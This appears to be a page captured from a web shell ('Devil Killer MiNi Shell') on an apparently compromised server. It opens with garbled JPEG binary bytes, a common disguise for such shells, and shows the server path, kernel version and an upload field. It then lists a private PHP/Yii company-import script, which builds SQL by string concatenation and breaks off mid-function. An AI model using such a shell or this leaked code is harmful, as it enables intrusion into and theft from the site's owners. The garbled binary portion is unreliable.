JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportCompaniesFullAction.php

<?php

namespace console\controllers\actions;

use \Yii;
use yii\base\Action;
use yii\helpers\ArrayHelper;
use yii\console\Controller;
use common\models\Users;
use common\models\UsersContactData;
use common\models\Companies;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsTabs;
use common\models\PresentationsTabs;
use common\models\CompaniesPresentationsPages;
use common\models\CompaniesContactData;
use common\models\Portals;
use common\models\Emails;
use common\models\CompaniesInvoicingData;
use common\models\CompaniesCorrespondenceData;
use common\models\CompaniesBranches;
use common\models\CompaniesBranchesContactData;
use common\models\CompaniesPresentationsHasCompaniesBranches;
use common\models\CompaniesDepartments;
use common\models\CompaniesDepartmentsContactData;
use common\models\CompaniesPresentationsHasCompaniesDepartments;
use common\models\CompaniesHasLanguages;
use common\models\CompaniesPresentationsHasCountries;
use common\models\CompaniesPresentationsHasRegions;
use common\models\PresentationsTags;
use common\models\CompaniesPresentationsHasPresentationsTags;
use common\models\CompaniesAwards;
use common\models\CompaniesPresentationsHasCompaniesAwards;
use common\models\CompaniesDownloads;
use common\models\CompaniesPresentationsHasCompaniesDownloads;
use common\models\CompaniesVideogalleries;
use common\models\CompaniesVideogalleriesVideos;
use common\models\CompaniesPresentationsHasCompaniesVideogalleries;
use common\models\CompaniesPhotogalleries;
use common\models\CompaniesPhotogalleriesPhotos;
use common\models\CompaniesPresentationsHasCompaniesPhotogalleries;
use common\models\CompaniesCategories;
use common\models\CompaniesPresentationsHasCompaniesCategories;
use common\models\Products;
use common\models\PublishingHouses;
use common\models\ProductsCategories;
use common\models\ProductsHasProductsCategories;
use common\models\ProductsAttachments;
use common\models\ProductsTags;
use common\models\ProductsHasProductsTags;
use common\models\CompaniesPresentationsHasProducts;
use common\models\Books;
use common\models\CompaniesCases;
use common\models\CompaniesCasesEntries;
use common\models\CompaniesPresentationsMirroring;
use common\models\Trainings;
use common\models\TrainingsHasPortals;
use common\models\TrainingsHasTrainingsCategories;
use common\models\TrainingsDates;
use common\models\Invoices;
use common\models\InvoicesItems;
use common\models\OperatorsHasCompanies;
use common\models\UsersHasPortals;
use common\models\Services;
use common\models\types\TrainingType;
use common\models\types\BookStatus;
use common\models\types\BookType;
use common\models\types\Status;
use common\models\types\UserProfile;
use common\models\types\CompanyUsageStatus;
use common\models\types\ContactDataType;
use common\models\types\InvoiceType;
use common\models\types\CompanyOrderPaymentType;
use common\models\types\InvoiceStatus;
use common\models\types\CompanyAwardType;
use common\models\types\CompanyDownloadCategory;
use common\models\types\CompanyCaseStatus;
use common\models\types\CompanyCasePriority;
use frontend\models\IndexProducts;
use frontend\models\IndexPresentations;
use frontend\models\IndexBooks;
use frontend\models\IndexTrainings;


class ImportCompaniesFullAction extends ImportAbstractAction
{       
    public $idUser;
    public $idPortal;
    public $limit;
    public $offset;
    public $userProfile;
    public $userStatus;
    public $userPackage;
    public $onlyBaseUsers;
    public $onlyInactiveUsersWithInvoices;
    
    private $companies = [];
    private $portals = [];
    private $tabsMap = [];
    private $packagesMap = [];
    private $packagesSettings = [];
    private $countriesMap = [];
    private $oldIdsCountriesMap = [];
    private $EUCountries = [];
    private $languagesMap = [];
    private $regionsMap = [];
    private $tabs = [];
    private $duplicatedUsers = [];
    private $awardsTypesMap = [];
    private $downloadsCategoriesMap = [];
    private $booksTypeMap = [];
//    private $vcallcenterOperatorsMap = []; @todo to chyba nie będzie już potrzebne
    private $vcallcenterOperators = [];
    private $trainingsCategoriesMap = [];
    private $paymentsTypesMap = [];
    private $invoicesTypesMap = [];
    private $companiesUsageStatusesMap = []; 
    private $bussinessSectorsMap = [];    
    private $foreignCompanies = [];
    
    private $filesToCopy = [];
    private $objectsRelationsMap = [];    
    private $usersPasswords = [];
    
    public function run() 
    {          
        //@todo przetestować czy prawidłowo przypisuje limity dla pakietów
        
        //@todo zbadać czy prawidłowo zapisuje do tabeli operators_has_companies
        //@todo zbadać czy prawidłowo ustawia statusy wykorzystania firm (na podstawie danych z bazy vcallcenter - wykorzystana, niewykorzystana, poczekalnia itd.)
        $debugMode = self::DEBUG_MODE_ON;
        //@todo zbadać czy prawidłowo pobiera oraz zapisuje faktury
        
        $this->portals = Portals::find()->select(['id_portal', 'id_parent_portal'])->asArray()->indexBy('id_portal')->all(); 
        $this->tabs = PresentationsTabs::find()->indexBy('id_tab')->all();
        $this->getCompanies();
//        var_dump(count($this->companies)); exit;
        if(empty($this->companies)) {
            var_dump('brak danych do przetworzenia');
            return Controller::EXIT_CODE_ERROR;
        }
        
        $roleCompany = Yii::$app->authManager->getRole(UserProfile::COMPANY);
        
        $innorrectImports = [];
        
        foreach($this->companies as $company) {
            
            $this->filesToCopy = [];
            
            $this->objectsRelationsMap = [];
            
            if($this->checkIfSelectedRecordExists($company['id_user'])) {
                continue;
            }
            
            if(empty($company['portale'])) {
                if($debugMode === self::DEBUG_MODE_OFF) {
                    $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Company does not exist on any portal.');
                }
                var_dump('Puste portale');
                continue;
            }
            
            if($debugMode === self::DEBUG_MODE_ON) {
                echo "\n".'firma ID: '.$company['id_user'].' - ';
            } 
            $innorrectImports[$company['id_user']] = true;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $idsCompanyContactData = [];
            $orSaveCompany = true;
            $idBaseUser = $this->getIdBaseForUser($company['id_user']);
            if(intval($idBaseUser) !== intval($company['id_user'])) {
                $idCompany = $this->getIdCompanyForOldIdUser($idBaseUser);
                if($idCompany === null) {
                    var_dump('Firma-kopia, a brakuje ID bazowej firmy');
                    continue;                    
                } else {
                    $modelCompany = Companies::findOne(intval($idCompany));
//                    $modelCompany->id_company = $idCompany;
                    $orSaveCompany = false;
                    $this->objectsRelationsMap['import_users'][$company['id_user']] = $modelCompany->id_user; //@todo dodane po imporcie - przetestować, czy nie generuje problemów
                    
                    //@todo przypisywanie uzytkownikom aktywnosci - to trzeba przetestować
                    if(intval($company['status']) === 1) {
                        $goToNextIterration = false;
                        foreach($company['portale'] as $portal) {
                            $flag = UsersHasPortals::setActivity($modelCompany->id_user, intval($portal['id_portal']));
                            if(!$flag) {
                                if($debugMode === self::DEBUG_MODE_OFF) {
                                    $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Error while saving user activity on portal.');
                                }                                 
                                $transaction->rollBack();
                                var_dump('Blad podczas zapisu aktywnosci uzytkownika na portalu');
                                $goToNextIterration = true;
                                break;
                            }
                        }
                        if($goToNextIterration) {
                            continue;
                        }
                    }
                    
                    //@todo dopisane po imporcie majowym - do przetestowania
                    if(!empty($company['vcallcenter_kontakt'])) {
                        $modelCompany->annotations = $modelCompany->annotations."\n\r".$company['vcallcenter_kontakt'];
                        $modelCompany->save(false);
                    }
                }
            } else {
                $modelUser = $this->createModelUsers($company);
                if(($result = $this->trySaveModel($modelUser, $company['id_user'], $debugMode)) !== true) {
                    var_dump('Blad podczas zapisu uzytkownika');
                    continue;
                } 
                $this->objectsRelationsMap['import_users'][$company['id_user']] = $modelUser->id_user;
                
                //@todo przypisywanie uzytkownikom aktywnosci - to trzeba przetestować
                if(intval($company['status']) === 1) {
                    foreach($company['portale'] as $portal) {
                        $flag = UsersHasPortals::setActivity($modelUser->id_user, intval($portal['id_portal']));
                        if(!$flag) {
                            if($debugMode === self::DEBUG_MODE_OFF) {
                                $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Error while saving user activity on portal.');
                            } 
                            $transaction->rollBack();
                            var_dump('Blad podczas zapisu aktywnosci uzytkownika na portalu');
                            continue;
                        }
                    }
                }                
                
                $modelsUsersContactData = $this->createModelsUsersContactData($company, $modelUser->id_user);
                if(!empty($modelsUsersContactData)) {
                    $goToNextIterration = false;
                    foreach($modelsUsersContactData as $modelUserContactData) {
                        if(($result = $this->trySaveModel($modelUserContactData, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu danych kontaktowych uzytkownika');
                            $goToNextIterration = true;
                            break;
                        } 
                    }
                    if($goToNextIterration) {
                        continue;
                    }
                }
                
                $modelCompany = $this->createModelCompanies($company, $modelUser->id_user);  
                if(($result = $this->trySaveModel($modelCompany, $company['id_user'], $debugMode)) !== true) {
//                    var_dump($modelCompany->getErrors());
                    var_dump('Blad podczas zapisu firmy');
                    continue;
                }
                if(!empty($modelCompany->logo_filename)) {
                    $this->filesToCopy[] = [
                        'source_path' => Yii::getAlias('@runtime').'/sources/companies/'.$company['logo'], 
                        'target_path' => Yii::getAlias('@companiesImagesRealPath').'/'.$modelCompany->id_company.'/'.$modelCompany->logo_filename
                    ];
                }

                $modelsCompanyContactData = $this->createModelsCompaniesContactData($company, $modelCompany->id_company);            
                if(!empty($modelsCompanyContactData)) {
                    $goToNextIterration = false;
                    foreach($modelsCompanyContactData as $modelCompanyContactData) {
                        if(($result = $this->trySaveModel($modelCompanyContactData, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu danych kontaktowych firmy');
                            $goToNextIterration = true;
                            break;
                        } 
                        $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
                    }
                    if($goToNextIterration) {
                        continue;
                    }
                }
                
                $modelCompanyInvoicingData = $this->createModelCompaniesInvoicingData($company, $modelCompany->id_company);
                if(!empty($modelCompanyInvoicingData)) {
                    if(($result = $this->trySaveModel($modelCompanyInvoicingData, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu danych fakturowych firmy');
                        continue;
                    } 
                    $this->objectsRelationsMap['import_companies_invoicing_data'][$company['id_user']] = $modelCompanyInvoicingData->id_invoicing_data;
                }
                
                $modelCompanyCorrespondenceData = $this->createModelCompaniesCorrespondenceData($company, $modelCompany->id_company);
                if(!empty($modelCompanyCorrespondenceData)) {
                    if(($result = $this->trySaveModel($modelCompanyCorrespondenceData, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu danych korespondencyjnych firmy');
                        continue;
                    } 
                    $this->objectsRelationsMap['import_companies_correspondence_data'][$company['id_user']] = $modelCompanyCorrespondenceData->id_correspondence_data;
                }
                
                $idLanguages = !empty($company['languages']) ? array_values($company['languages']) : ['pl'];
                $goToNextIterration = false;
                foreach($idLanguages as $idLanguage) {
                    $modelCompanyHasLanguage = new CompaniesHasLanguages(['scenario' => 'create']);
                    $modelCompanyHasLanguage->id_company = $modelCompany->id_company;
                    $modelCompanyHasLanguage->id_language = $idLanguage;
                    if(($result = $this->trySaveModel($modelCompanyHasLanguage, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu powiazan firmy z jezykami');
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
                
                if(intval($company['profil']) === 5) {
                    $modelPublishingHouse = $this->createModelPublishingHouses($company);
                    if(($result = $this->trySaveModel($modelPublishingHouse, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu wydawnictwa');
                        continue;
                    }
                    $this->objectsRelationsMap['import_publishing_houses'][$company['id_user']] = $modelPublishingHouse->id_publishing_house;

                    if(!empty($modelPublishingHouse->logo_filename)) {
                        $this->filesToCopy[] = [
                            'source_path' => Yii::getAlias('@runtime').'/sources/companies/'.$company['logo'],
                            'target_path' => Yii::getAlias('@publishingHousesImagesRealPath').'/'.$modelPublishingHouse->logo_filename
                        ];
                    }
                }
            }
            
            if(!$orSaveCompany) {
                $idsCompanyContactData = CompaniesContactData::find()->select('id_contact_data')->where(['id_company' => $modelCompany->id_company])->column();
            }
            
            //@todo przetestować
            $goToNextIterration = false;
            foreach($company['portale'] as $portal) {
                $idsSectors = !empty($this->bussinessSectorsMap[intval($portal['id_portal'])]) ? $this->bussinessSectorsMap[intval($portal['id_portal'])] : [];
                if(!empty($idsSectors)) {
                    $goToNextIterration2 = false;
                    foreach($idsSectors as $idSector) {
//                        echo 'INSERT INTO companies_has_business_sectors (id_company, id_sector) VALUES ('.$modelCompany->id_company.', '.$idSector.') ON CONFLICT (id_company, id_sector) DO NOTHING;'."\n";
                        try {
                            $flag = Yii::$app->db->createCommand('INSERT INTO companies_has_business_sectors (id_company, id_sector) VALUES ('.$modelCompany->id_company.', '.$idSector.') ON CONFLICT (id_company, id_sector) DO NOTHING;')->execute();
                        } catch (\yii\db\Exception $ex) {
                            if($debugMode === self::DEBUG_MODE_OFF) {
                                $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Error while saving company relation with business sector.');
                            } 
                            $transaction->rollBack();
                            var_dump('Blad podczas zapisu powiazania firmy z branza.');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }             
            }
            if($goToNextIterration) {
                continue;
            }
            
            //@todo nietestowane
//            if(!empty($company['operators'])) {
//                $actualDatetime = date("Y-m-d H:i:s");
//                $goToNextIterration = false;
//                foreach($company['operators'] as $idOperator => $idsPortals) {
//                    //@todo nietestowane wiązanie z portalami
//                    $assignedPortals = [];
//                    foreach($idsPortals as $idPortal) {
//                        $assignedPortals[] = [
//                            'id_portal' => $idPortal,
//                            'created_at' => $actualDatetime //@todo ustalić, czy tak może być - prawdę mówiąc nie mam pojęcia skąd pobrać sensowną datę
//                        ];
//                    }
//                    
//                    $modelOperatorHasCompany = new OperatorsHasCompanies(['scenario' => 'create']);
//                    $modelOperatorHasCompany->id_user = $idOperator;
//                    $modelOperatorHasCompany->id_company = $modelCompany->id_company;
//                    $modelOperatorHasCompany->assigned_portals = $assignedPortals;
//                    
//                    if(($result = $this->trySaveModel($modelOperatorHasCompany, $company['id_user'], $debugMode)) !== true) {
//                        var_dump('Blad podczas zapisu powiązania operatora z firmą');
//                        $goToNextIterration = true;
//                        break;
//                    }
//                }
//                if($goToNextIterration) {
//                    continue;
//                }
//            }
            
            $companyBranches = [];
            if(!empty($company['branches'])) {
                $goToNextIterration = false;
                foreach($company['branches'] as $branch) {
                    $modelCompanyBranch = $this->createModelCompaniesBranches($branch, $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelCompanyBranch, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu oddzialu firmy');
                        $goToNextIterration = true;
                        break;
                    } 
                    $this->objectsRelationsMap['import_companies_branches'][$branch['id']] = $modelCompanyBranch->id_branch;
                    
                    if(intval($branch['status']) === 1) {                    
                        $companyBranches[] = ['id' => $modelCompanyBranch->id_branch, 'order' => $branch['kolejnosc']];
                    }
                    
                    $modelsCompanyBranchContactData = $this->createModelsCompaniesBranchesContactData($branch, $modelCompanyBranch->id_branch);            
                    if(!empty($modelsCompanyBranchContactData)) {
                        $goToNextIterration2 = false;
                        foreach($modelsCompanyBranchContactData as $modelCompanyBranchContactData) {
                            if(($result = $this->trySaveModel($modelCompanyBranchContactData, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu danych kontaktowych oddzialu firmy');
                                $goToNextIterration2 = true;
                                break;
                            } 
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }  
            
            $companyDepartments = [];
            if(!empty($company['departments'])) {
                $goToNextIterration = false;
                foreach($company['departments'] as $department) {
                    $modelCompanyDepartment = $this->createModelCompaniesDepartments($department, $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelCompanyDepartment, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu dzialu firmy');
                        $goToNextIterration = true;
                        break;
                    } 
                    $this->objectsRelationsMap['import_companies_departments'][$department['id']] = $modelCompanyDepartment->id_department;
                    
                    if(isset($department['kolejnosc'])) {                    
                        $companyDepartments[] = ['id' => $modelCompanyDepartment->id_department, 'order' => $department['kolejnosc']];
                    }
                    
                    $modelsCompanyDepartmentContactData = $this->createModelsCompaniesDepartmentsContactData($department, $modelCompanyDepartment->id_department);            
                    if(!empty($modelsCompanyDepartmentContactData)) {
                        $goToNextIterration2 = false;
                        foreach($modelsCompanyDepartmentContactData as $modelCompanyDepartmentContactData) {
                            if(($result = $this->trySaveModel($modelCompanyDepartmentContactData, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu danych kontaktowych dzialu firmy');
                                $goToNextIterration2 = true;
                                break;
                            } 
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            } 
            
            $companyAwards = [];
            if(!empty($company['awards'])) {
                $goToNextIterration = false;
                foreach($company['awards'] as $award) {
                    $modelCompanyAward = $this->createModelCompaniesAwards($award, $modelCompany->id_company);                     
                    if(($result = $this->trySaveModel($modelCompanyAward, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu referencji firmy');
                        $goToNextIterration = true;
                        break;
                    }
                    $this->objectsRelationsMap['import_companies_awards'][$award['id']] = $modelCompanyAward->id_award;
                    
                    if(isset($award['kolejnosc'])) {                    
                        $companyAwards[] = ['id' => $modelCompanyAward->id_award, 'order' => $award['kolejnosc']];
                    }
                    
                    $sourceImageFileName = (!empty($award['img_1']) && file_exists(Yii::getAlias('@runtime').'/sources/companies_awards/'.$award['img_1'])) ? $award['img_1'] : 'default.png';
                    $this->filesToCopy[] = [
                        'source_path' => Yii::getAlias('@runtime').'/sources/companies_awards/'.$sourceImageFileName,
                        'target_path' => Yii::getAlias('@companiesImagesRealPath').'/'.$modelCompany->id_company.'/'.Yii::getAlias('@companiesAwardsDirName').'/'.$modelCompanyAward->image_filename
                    ];
                }
                if($goToNextIterration) {
                    continue;
                }
            }   
            
            $companyDownloads = [];
            if(!empty($company['downloads'])) {
                $goToNextIterration = false;
                foreach($company['downloads'] as $download) {
                    $modelCompanyDownload = $this->createModelCompaniesDownloads($download, $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelCompanyDownload, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu downloadu firmy');
                        $goToNextIterration = true;
                        break;
                    }
                    $this->objectsRelationsMap['import_companies_downloads'][$download['id']] = $modelCompanyDownload->id_download;
                    
                    if(isset($download['kolejnosc'])) {                    
                        $companyDownloads[] = ['id' => $modelCompanyDownload->id_download, 'order' => $download['kolejnosc']];
                    }
                    
                    if(!empty($modelCompanyDownload->image_filename)) {
                        $this->filesToCopy[] = [
                            'source_path' => Yii::getAlias('@runtime').'/sources/companies_downloads/'.$download['img_1'],
                            'target_path' => Yii::getAlias('@companiesImagesRealPath').'/'.$modelCompany->id_company.'/'.Yii::getAlias('@companiesDownloadsDirName').'/'.$modelCompanyDownload->image_filename
                        ];
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $companyVideoGalleries = [];
            if(!empty($company['video_galleries'])) {
                $goToNextIterration = false;
                foreach($company['video_galleries'] as $videoGallery) {
                    $modelCompanyVideoGallery = $this->createModelCompaniesVideogalleries($videoGallery, $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelCompanyVideoGallery, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu galerii wideo firmy');
                        $goToNextIterration = true;
                        break;
                    }
                    $this->objectsRelationsMap['import_companies_videogalleries'][$videoGallery['id']] = $modelCompanyVideoGallery->id_gallery;
                    
                    if(intval($videoGallery['status']) === 1) {                    
                        $companyVideoGalleries[] = ['id' => $modelCompanyVideoGallery->id_gallery, 'order' => $videoGallery['kolejnosc']];
                    }
                           
                    if(!empty($videoGallery['videos'])) {
                        $goToNextIterration2 = false;
                        foreach($videoGallery['videos'] as $video) {
                            $modelCompanyVideogalleryVideo = $this->createModelCompaniesVideogalleriesVideos($video, $modelCompanyVideoGallery->id_gallery);
                            if(($result = $this->trySaveModel($modelCompanyVideogalleryVideo, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu filmu wideo w galerii firmy');
                                $goToNextIterration2 = true;
                                break;
                            }
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                    
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $companyPhotoGalleries = [];
            if(!empty($company['photo_galleries'])) {
                $goToNextIterration = false;
                foreach($company['photo_galleries'] as $photoGallery) {
                    $modelCompanyPhotoGallery = $this->createModelCompaniesPhotogalleries($photoGallery, $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelCompanyPhotoGallery, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu galerii zdjec firmy');
                        $goToNextIterration = true;
                        break;
                    }
                    $this->objectsRelationsMap['import_companies_photogalleries'][$photoGallery['id']] = $modelCompanyPhotoGallery->id_gallery;
                    
                    if(intval($photoGallery['status']) === 1) {                    
                        $companyPhotoGalleries[] = ['id' => $modelCompanyPhotoGallery->id_gallery, 'order' => $photoGallery['kolejnosc']];
                    }
                           
                    if(!empty($photoGallery['photos'])) {
                        $goToNextIterration2 = false;
                        foreach($photoGallery['photos'] as $photo) {
                            $modelCompanyPhotogalleryPhoto = $this->createModelCompaniesPhotogalleriesPhotos($photo, $modelCompanyPhotoGallery->id_gallery);
                            if(($result = $this->trySaveModel($modelCompanyPhotogalleryPhoto, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu zdjecia w galerii firmy');
                                $goToNextIterration2 = true;
                                break;
                            }
                            if(!empty($modelCompanyPhotogalleryPhoto->filename)) {
                                $this->filesToCopy[] = [
                                    'source_path' => Yii::getAlias('@runtime').'/sources/companies_photogalleries/'.$photo['id_user'].'/'.$photo['id_galeria'].'/zdjecie-'.$photo['id'].'.'.$photo['nazwa'], 
                                    'target_path' => Yii::getAlias('@companiesPhotogalleriesRealPath').'/'.$modelCompanyPhotoGallery->id_gallery.'/'.$modelCompanyPhotogalleryPhoto->filename
                                ];
                            }
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                    
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $products = [];
            $idsProducts = [];
            if(!empty($company['products'])) {                
                $goToNextIterration = false;
                foreach($company['products'] as $product) {            
                    $modelProduct = $this->createModelProducts($product, $modelCompany->id_company);         
                    if(($result = $this->trySaveModel($modelProduct, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu produktu');
                        $goToNextIterration = true;
                        break;
                    }                    
                    if(!empty($modelProduct->image_filename)) {
                        $this->filesToCopy[] = [
                            'source_path' => Yii::getAlias('@runtime').'/sources/products/'.$product['foto1'],
                            'target_path' => Yii::getAlias('@companiesImagesRealPath').'/'.$modelProduct->id_company.'/'.Yii::getAlias('@companiesProductsDirName').'/'.$modelProduct->id_product.'/'.$modelProduct->image_filename
                        ];
                    }
                    $idsProducts[] = $modelProduct->id_product;
                    $this->objectsRelationsMap['import_products'][$product['id']] = $modelProduct->id_product;

                    if(isset($product['kolejnosc'])) {                    
                        $products[] = ['id' => $modelProduct->id_product, 'order' => $product['kolejnosc'], 'old_id' => $product['id']];
                    }
                    
                    $modelsProductsAttachments = $this->createModelsProductsAttachments($product, $modelProduct->id_product);            
                    if(!empty($modelsProductsAttachments)) {
                        $goToNextIterration2 = false;
                        foreach($modelsProductsAttachments as $modelProductAttachment) {
                            if(($result = $this->trySaveModel($modelProductAttachment, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu zalacznika produktu');
                                $goToNextIterration2 = true;
                                break;
                            }   
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    } 
                    
                    $modelsProductsTags = $this->createModelsProductsTags($product);            
                    if(!empty($modelsProductsTags)) {
                        $goToNextIterration2 = false;
                        foreach($modelsProductsTags as $modelProductsTag) {
                            if(($result = $this->trySaveModel($modelProductsTag, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu tagu produktu');
                                $goToNextIterration2 = true;
                                break;
                            }  

                            $modelProductHasTag = new ProductsHasProductsTags();
                            $modelProductHasTag->id_product = $modelProduct->id_product;
